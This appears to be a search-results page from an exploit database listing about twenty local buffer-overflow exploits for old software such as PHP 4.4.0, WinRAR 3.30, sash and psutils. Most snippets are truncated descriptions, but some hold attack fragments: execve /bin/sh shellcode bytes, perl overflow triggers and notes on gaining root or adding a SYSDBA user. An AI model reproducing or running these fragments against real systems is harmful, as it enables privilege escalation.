934 matches found
PHP 4.4.0 - mysql_connect function Local Buffer Overflow
PHP 4.4.0 - mysqlconnect function Local Buffer Overflow ?php / This exploit was designed to work with PHP versions 4.3.10 and 4.4.0 under Windows XP SP 1. If another operating system is used, the replacement EIP must be changed. The replacement EIP is written 261 bytes into our string. For this...
PHP <= 4.4.0 (mysql_connect function) Local Buffer Overflow Exploit
Exploit for unknown platform in category local exploits =================================================================== PHP = 4.4.0 mysqlconnect function Local Buffer Overflow Exploit =================================================================== ?php / This exploit was designed to work...
WinRAR 3.30 - Filename Local Buffer Overflow (2)
WinRAR 3.30 - Filename Local Buffer Overflow 2 / IHS public source code WinRAR 3.3.0 and below local BOF exploit author : c0d3r , kaveh razavi advisory : http://www.securityfocus.com/archive/1/420679 tnx to alpha who reported the vulnerability workaround: use the lastest version special tnx to Lo...
dBpowerAMPv11.5.txt
dBpowerAMP Music Converter v11.5 and priors Local Buffer Overflow Issue Original: http://secubox.shadock.net/dBpowerAMPMusicConverterv11.5LocalBufferOverflowIssue.html VULNERABLE PRODUCT ----------------------------------- Software: dBpowerAMP Music Converter Corporation: Illustrate Release: 11.5...
QNX RTOS 6.3.0 (phgrafx) Local Buffer Overflow Exploit (x86)
Exploit for QNX platform in category local exploits ============================================================ QNX RTOS 6.3.0 phgrafx Local Buffer Overflow Exploit x86 ============================================================ / email protected c 2005, all rights reserved. sample exploit for...
Apache <= 1.3.33 htpasswd local overflow
The remote host appears to be running Apache 1.3.33 or older. There is a local buffer overflow in the 'htpasswd' command in these versions that may allow a local user to gain elevated privileges if 'htpasswd' is run setuid or a remote user to run arbitrary commands remotely if the script is...
XMail 1.21 - '-t' Command Line Option Local Buffer Overflow / Local Privilege Escalation
/ XMail 1.21 'sendmail' local exploit ret-into-libc Yields uid root || gid mail By qaaz at centrum dot cz, 2005 / include include include include include include include include define TARGET "/var/MailRoot/bin/sendmail" define NM "nm" define GREP "grep" define MKDIR "mkdir" define TMP "/tmp"...
IBM AIX 5.x - Invscout Local Buffer Overflow
IBM AIX 5.x - Invscout Local Buffer Overflow source: https://www.securityfocus.com/bid/13909/info invscout is prone to a local buffer overflow vulnerability. This issue presents itself because the application fails to carry out boundary checks on user-supplied data from the command line...
IBM AIX 5.x - 'Invscout' Local Buffer Overflow
source: https://www.securityfocus.com/bid/13909/info invscout is prone to a local buffer overflow vulnerability. This issue presents itself because the application fails to carry out boundary checks on user-supplied data from the command line. /usr/sbin/invscout perl -e 'print "A" x 1024;'...
WinZip 8.1 - Command Line Local Buffer Overflow
WinZip 8.1 - Command Line Local Buffer Overflow / WinZip Command Line Local Buffer Overflow http://securitytracker.com/alerts/2004/Sep/1011132.html http://www.winzip.com/wz90sr1.htm Exploit coded By ATmaCA Web: atmacasoft.com && spyinstructors.com E-Mail: [email protected] Credit to kozan / /...
Linux Kernel 2.2.x/2.3.x/2.4.x/2.5.x/2.6.x - ELF Core Dump Local Buffer Overflow (PoC)
/ source: https://www.securityfocus.com/bid/13589/info The Linux kernel is susceptible to a local buffer-overflow vulnerability when attempting to create ELF coredumps. This issue is due to an integer-overflow flaw that results in a kernel buffer overflow during a 'copyfromuser' call. To exploit...
BitchX 1.0c20 - Local Buffer Overflow
/ Tested on BitchX-1.0c19 /str0ke / / P.o.C Exploit Code for BitchX made for Version BitchX-1.0c20cvs -- Date 20020325 C 2004. GroundZero Security Research and Software Development http://www.groundzero-security.com released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt -- background...
Oracle Database Server 10.1.0.2 - Local Buffer Overflow
/ Advanced SQL Injection in Oracle databases Exploit for the buffer overflow vulnerability in procedure MDSYS.MD2.SDOCODESIZE of Oracle Database Server version 10.1.0.2 under Windows 2000 Server SP4. Fixes available at http://metalink.oracle.com. The exploit creates a SYSDBA user ERIC with a...
sash 3.7 - Local Buffer Overflow
sash 3.7 - Local Buffer Overflow / sash-3.7 buffer overflow in c argyment written by lammat for practice purposes http://grpower.ath.cx [email protected] gdb r -c perl -e 'print "A"x10256' The program being debugged has been started already. Start it from the beginning? y or n y Starting program:...
sash <= 3.7 Local Buffer Overflow Exploit
No description provided by source. / sash-3.7 buffer overflow in c argyment written by lammat for practice purposes http://grpower.ath.cx [email protected] gdb r -c perl -e 'print "A"x10256' The program being debugged has been started already. Start it from the beginning? y or n y Starting program...
sash <= 3.7 Local Buffer Overflow Exploit
Exploit for linux platform in category local exploits ========================================= sash include include static char shellcode= "\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; define NOP 0x90 define LEN 10256...
SCO OpenServer 5.0.65.0.7 - NWPrint Command Line Argument Local Buffer Overflow
SCO OpenServer 5.0.65.0.7 - NWPrint Command Line Argument Local Buffer Overflow // source: https://www.securityfocus.com/bid/12986/info nwprint that is distributed with SCO OpenServer is prone to a local buffer overflow vulnerability. This issue arises because the application fails to perform...
BakBone NetVault 6.x/7.x Local Stack Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ============================================================ BakBone NetVault 6.x/7.x Local Stack Buffer Overflow Exploit ============================================================ / for more informations class101.org/netv-locsbof.pdf /...
PostScript Utilities - psnup Local Buffer Overflow
PostScript Utilities - psnup Local Buffer Overflow !/usr/bin/perl PostScript Utilities - psnup all the utilities of the package are vulnerable written by lammat just for practice purposes tested against psutils-p17 gdb r -8 perl -e 'print "A"x250' The program being debugged has been started...
PostScript Utilities - 'psnup' Local Buffer Overflow
!/usr/bin/perl PostScript Utilities - psnup all the utilities of the package are vulnerable written by lammat just for practice purposes tested against psutils-p17 gdb r -8 perl -e 'print "A"x250' The program being debugged has been started already. Start it from the beginning? y or n y Starting...